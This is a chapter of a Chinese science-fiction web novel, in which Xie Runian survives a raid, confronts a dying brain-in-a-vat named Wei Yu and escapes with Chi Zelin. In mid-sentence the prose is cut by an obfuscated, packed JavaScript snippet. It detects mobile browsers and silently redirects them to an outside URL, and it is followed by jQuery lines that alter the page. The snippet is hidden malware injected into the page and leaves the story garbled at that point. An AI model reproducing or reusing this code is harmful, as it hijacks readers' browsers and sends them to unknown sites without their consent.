黑影没有说话，黑漆漆的电磁炮口对准谢如念。
谢如念瞧出那是一台普通电磁炮，她淡笑：“我不想打架了，你自己走呗。”
她想报复的人只有克林，至于其他人，她懒得多管。
黑影没说话，谢如念默默抓住磁感应弯刀，与他对峙。
现在九点二十五了。
外面的雨一时半会停不了，细细雨水冲刷着地表堆叠的尸体，尸体成山，血流成河。既有毒蛇的，也有罗科的。
楼顶阵阵厮杀声，枪炮穿越阵雨，落入空中，火苗藏进黑暗。
唯独他们这儿，呈现过分的宁静，像片刻休战。
谢如念不急，她趁领头人开启报警器时偷了那套A级绳索，如果情况有变，她就从破口出一跃而下，到楼底和池则临汇合。
她没想通那人站在那儿做什么，总不可能干耗着吧。
拖延时间？
没必要吧。
谢如念往出口走了一步，那人立刻转变电磁炮，对准她。下一秒，他发射电磁炮，荧蓝色液体汇聚成硕大电磁球，奔向谢如念。
谢如念一闪身子，躲到武器架后面，让它挡住电磁炮的伤害。
还是动手了。
脑中刚刚划过这句话，对方动了起来，一边躲避谢如念的子弹，一边发射炮弹。
微小之地，武器架倒散开，外层的玻璃倒是异常牢靠，死死守护里面的东西。
谢如念躲过几个袭来的电磁球，步步接近对方，沾满鲜血的匕首碰到他的胳膊，狠狠刮了一刀。
黑影后退几步，身子撞上金属墙壁，吐了一口血。他身边就是破口墙壁，高处的风异常寒冷，激得他身子一抖。
谢如念停下脚步，她一挥弯刀，它顺势飞去，冲向那人。她使的劲刚刚好，弯刀擦过对方的脖子，产生幻觉干扰，一趟来回，那人明显受了影响，等级过低，没法抵抗，软绵绵地向后倒去。
谢如念正想伸手拉住对方，那人掏出绳索，用力一抛，扎进金属墙壁中，他一步步下去，坐上飞来的毒蛇直升机，迅速离开。
谢如念望着飞走的直升机，松了口气，她没有休息，立刻解锁武器。她戴着手套，不用怕留下指纹。
不过一会儿，她背了三四件便于逃跑的武器。
谢如念刚打算坐下来歇一会，走廊里传来一阵脚步声。
“外面还有余孽，别放走毒蛇的人！”
是罗科员工。
谢如念的心悬了起来，罗科速度这么快？
脚步声越来越近，几乎近在咫尺，如果她现在不走，来人一个拐弯便能看见她。
谢如念又看眼时间，九点二十九分五十秒。
还有十秒钟。
她是逃还是等。
“一层层搜过去，不要遗留任何一个细节。”
五秒。
谢如念听声音预判那些人快要走到拐弯口。
三秒。
有人突然加快速度。
一秒。
拐弯口出现了半只鞋子。
“各位晚上好，非常抱歉因为短暂更新无法为此次入侵提供帮助，”电子女声响起，那人没有继续往前走，“目前已完成更新，各位可以照常呼叫我，此外，检测到AB级标准库附近有大量残余的入侵人员，请罗科人员听我指令，剿灭入侵人员。”
“A-Z045区。”
谢如念一惊，她这里就是A-Z045区。从刚才的发言看，她无法判断现在的人工智能是小小还是筱筱。
“A-Z045区至A-Z080区无毒蛇人员，A-Z110区至A-Z298区，仍有十位毒蛇余孽，收到信号请前往剿灭。”
“再次通知，A-Z110区至A-Z298区，仍有十位毒蛇余孽，收到信号请前往剿灭。”
谢如念看见那半只鞋子收了回去，外面的一行人火速折返：“去小小说的地方！”
谢如念淡淡地瞧雨幕，雨珠如丝，划过闪烁高楼，落入土壤。
人造云雨没持续多久，雨势减小，空中几架直升机被激光扫射，笔直下坠。
雨丝挂过谢如念的脸颊，藏入发丝，她抱着几件武器，左手抓住A级绳索，静静地观察地下三十层。
“谢姐，好久不见，”筱筱汇报结果，“我成功了，已经消除你的痕迹，开启电梯使用权，你进去直通一层。”
谢如念点点头，答应：“好，谢谢。”
她收回视线，人造乌云散开，淡淡虹光反射空中，木楼高低不平，相互交错，勾勒出一副极乐景象。
“等等谢姐，你弟弟好像上来了。”
糟糕——
谢如念并没有告诉池则临这个计划，团伙成员不让告知是原因之一。最主要的是她不想让池则临卷进这些事情。他和她没有关系，和这些事情更没有关系。
她只吩咐对方在外面好好等着，不管发生什么都不要进来。
“他在哪里？”
筱筱回复：“现在在A层A-A010区，谢姐不用太担心。我调动了之前的监控数据，他躲开了大部分监控，且没有被罗科、毒蛇人员发现，很安全。我已经广播吩咐了，那里暂时不会有人经过，谢姐按照我的路线过去就行。”
谢如念表示自己知道了：“麻烦你了，把他的行踪也删掉，我先离开了。”
“嗯，谢姐，卫煜也在A-A010区，生命库系统显示他没有几分钟可以活了，如果你想报仇可以去看看，我帮你打掩护。”
谢如念一愣，卫煜居然还活着，她道：“好，带路吧。”
谢如念找过去时，池则临正缩在角落，怀里抱着一颗治疗方块和一把沙漠|之鹰。
“姐姐，你来了。”池则临的声音听起来闷闷的。
“对，”谢如念没问他为什么跑到这里，她能理解对方的想法，便不打算多问，“我们下去？”
“你不问问我为什么来这儿吗？”池则临眼睛一暗，随后藏起情绪，指着台面上的实验仪器，“算了姐姐，你应该是来找卫煜的吧，他在那儿。”
谢如念感受到池则临微弱的情感变化，但当务之急是从卫煜那儿获取更多线索，她颔首，走近实验仪器。
透明实验箱中充满医疗液体，一颗人脑暴露在液体之中，上面插了无数根管子，连接两三台生命仪器，以保持人脑正常运转。
实验箱左侧摆了一台微小闹钟，正在倒计时。按照筱筱的消息，面前这颗大脑还有五分钟存活时间。
“怎么是你？”缸中大脑激活了视觉神经，卫煜看见了站着的谢如念。
他记得这双眼睛。
“是不是你杀了我？原随叫你杀了我！”卫煜似乎很激动，右侧机器显示他情绪波动明显。
“是啊。”谢如念不想看那坨恶心东西，她在思考原随为什么把卫煜留下来。
明明榨干了他的价值，得到了地下深处的真相，也借刀杀了无数人，却留了下来，直到今天才决定杀死他。
谢如念注视倒计时，她没有多少时间了，必须在五分钟内问出真相。
“是老板叫我动手的，他现在让我过来问你最后一遍，”谢如念十分镇定，问了一个万能问题，“你到底说不说？”
“我能说的都已经告诉他了！”卫煜的大脑动了一下，他感受到一阵电波，刺挠感深入，他放大声音，电子音通过机器流了出来，“是白玉京的人撺掇我报仇，我不知道他的名字，我不知道他是谁……”
谢如念摸上仪器，她随便转动了风扇按钮，卫煜却以为她要动手，声音无比颤抖：“我不知道毒蛇背后的人是谁，我真的不清楚，我可以替他去查，你能不能和老板说一下，我帮他解决了这么多废物，赚了这么钱，他为什么……”
“你看你，”谢如念得到了巨量信息，她笑笑，看见倒计时，“老实说，你当他的狗当得不错，但是你忘了一件事情。”
“什么事情？”卫煜从中听到了希望，若是让他活下来，随便拿一个人的身体给他用都没事，他照样会为原随拼死拼活。
这是权力的世界，为了活着，为了权力，为了将昔日的人踩在脚下，为了对比得出的幸福，他只有往上爬，用其他人的尸骨铺路。
谢如念眼底闪过一瞬的哀伤，随后她拿正在倒计时的闹钟，转向缸中之脑，屈指敲敲玻璃：“你才是废物。”
“这是什么？！”大脑在溶液中蹦跶，身后的屏幕骤然蹦出几条线，超过平均阈值。
“没听清吗？”谢如念指着倒计时，“凭借人体实验和特殊手段爬上来，你和你老板都是废物。”
“你不是老板派来的？！”卫煜盯着倒计时，顿时明白了一些事情，他嘴脸丑陋，“我给你当牛做马，你想杀谁我就去杀谁，原随也可以！”
她转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190292|191756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头就走，拉着池则临的手离开了A区。
“你——啊啊——”
池则临扭头，偷偷看了眼那颗人脑，它沉积在池底，失去了营养来源，迅速散作一团恶心的肉。
“姐姐，那位餐馆老板的状态不错。”
“好，坐上来，抱着我腰，”谢如念把武器藏进巨大黑包，固定在摩托两侧，她吩咐一边傻站的池则临，“加快速度，马上有人来这里了。”
谢如念的摩托停在零散小巷间，这儿是监控盲区，方便行动。
池则临跨上摩托，坐在后座。
谢如念发动摩托，噪音隐没在吵闹声中。毒蛇公然抢夺罗科这事迅速传播，街巷里全是看热闹的人群，他们站在硝烟之下，仰望漏了个洞的行政大楼。
谢如念低头一看，池则临没有抱着她的腰，她警告：“抱着，我速度很快。”
一双瘦弱的手虚虚环住谢如念，她懒得纠正对方，飞驰回去。
一辆不起眼的摩托拐上高架，谢如念朝身后喊了一声：“说吧。”
她自然看见了男孩的眼神，那几乎可以说是苍凉。
外面硝烟四起，他缩在角落，不知道谢如念在哪里，不知道自己该做点什么。找人？人在哪里？找东西？他又没有密码。
池则临发现了那颗人脑，对方问他是谁，池则临没有理他。他不知道自己是谁，他不知道自己在那儿。
找不到人，他起不了任何作用。
他就这么坐在角落，思考一遍所有事情。
其实刚开始他骗了谢如念，他记着给他灌药的人，似乎是罗科。他听见招聘消息，立马来了车站，想去罗科偷解药。
没想到被人逮住了，他又打不过，被打个半死。
他以为生命到此结束了，结果谢如念从天而降。池则临断掉的记忆开始拼接，他记得自己也有这样一个姐姐，和谢如念很像很像。
他实在想不起来姐姐的模样，便放弃了。他看着谢如念帮自己上药、给自己带子弹，叫自己先走……
从来没人对他这样。他试着放下防备，当一个合格的工具人，当一个合格的“弟弟”，帮姐姐带早饭，帮姐姐买烟，帮姐姐上药。
他觉得他们是很好的姐弟，很好的队友。
直到今天，他查看完餐馆老板的精神状态后，站在大雨中等待姐姐，对方说九点半之后会下来。
直升机从他头上飞过，他没动；直升机破开AB级标准库的那刻，他依旧没动；当克林从高楼坠楼，他再也忍不了。
他不能接受失去姐姐，失去这个队友。
他躲开监控，艰难地混了进去，爬上AB级标准库，却在选择入口时犯了难。
众多条岔路，没有任何线索。他赌来一把，随后来到这里，看见一颗人脑。
他恨不得伸手进去捏爆它。
外面又有脚步声，他不敢乱走。
他躲在角落，开始思考自己为什么要上来。
姐姐说了九点半下来就一定会准时下来，他手无缚鸡之力地上来干什么，送人头？
但他也没法控制，他看见坠亡的克林，联想到不好的事情，果断冲来上来。
他好蠢，像傻子。
人脑后面有个闹钟，一半在展示时间，一半在倒计时。
他猜测那是卫煜的死亡时间。
猜错了又怎样，猜对了又怎样？
他就这么坐了一会，直到筱筱汇报情况。
他努力捕捉信息，终于得出了一个结论——姐姐没被发现。如果被发现了，筱筱绝对不会放过她。
他生出一丝喜悦，又有了勇气，打算自己回去。
只要姐姐安全，那他无所谓。
他刚走了一步，过道传来熟悉的脚步声。
他看见了谢如念，头发沾着雨水，身上有血腥味，一双眸子扫了一眼他，而后目光落在缸中之脑上。
他主动开口。
她瞬间理解了一切。
他知道姐姐脑子转得快，理解事情很快，但同时，她又是毫无情感地接受，像另一个世界的人。
他不动声色地藏起情绪，盯着姐姐与卫煜对话。
他一直以来都有种奇怪的感觉，之前说不清，现在倒是明白了。
他保持分寸地“抱着”谢如念，轻轻道：“姐姐，你从来没把我当做队友。”
只有他在做梦。